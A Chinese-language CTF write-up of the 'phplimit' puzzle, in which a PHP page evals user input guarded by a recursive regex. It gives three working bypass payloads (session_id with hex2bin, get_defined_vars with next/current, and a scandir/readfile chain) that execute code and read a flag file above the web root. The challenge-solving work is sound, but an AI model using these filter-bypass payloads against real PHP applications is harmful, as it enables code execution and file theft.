Code-Breaking Puzzles easy - phplimit(代碼執行限制繞過)

題目地址:http://120.78.164.84:49006

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

這裏的正則匹配涉及到了PHP正則表達式的遞歸模式:

http://php.net/manual/zh/regexp.reference.recursive.php

代碼很短,但是這裏會把code最裏面括號內的內容替換爲空,一起來見識一下別的大佬用到的幾種方法。

 

1,session_id

[GET] ?code=eval(hex2bin(session_id(session_start())));

PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328272e2e2f666c61675f7068706279703473732729293b
//print_r(file_get_contents('../flag_phpbyp4ss'));

session_id() 用於獲取PHPSESSID的值
session_start() 用於使用當前cookie中的會話
hex2bin則將16進制轉換爲二進制,根據手冊,只是換了一種存儲方式,解決編碼轉換問題,本質沒有變換。 

 

 

2,get_defined_vars

?code=eval(next(current(get_defined_vars())));
&b=print_r(scandir('../'));print_r(file_get_contents('../flag_phpbyp4ss'));

current() 返回數組中的當前單元
next() 和 current() 的行爲類似,只有一點區別,在返回值之前將內部指針向前移動一位。
這意味着它返回的是下一個數組單元的值並將數組指針向前移動了一位。

 

3,arrary_reverse&scandir

?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

getcwd — 取得當前工作目錄
dirname — 返回路徑中的目錄部分,給出一個包含有指向一個文件的全路徑的字符串,本函數返回去掉文件名後的目錄名
chdir — 改變目錄
scandir — 列出指定路徑中的文件和目錄,返回一個array ,包含有 directory 中的文件和目錄
array_reverse — 返回單元順序相反的數組,接受數組 array 作爲輸入並返回一個單元爲相反順序的新數組(只有兩個文件)

 

同類題目

RCTF 2018 的 r-cursive,但環境不同。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章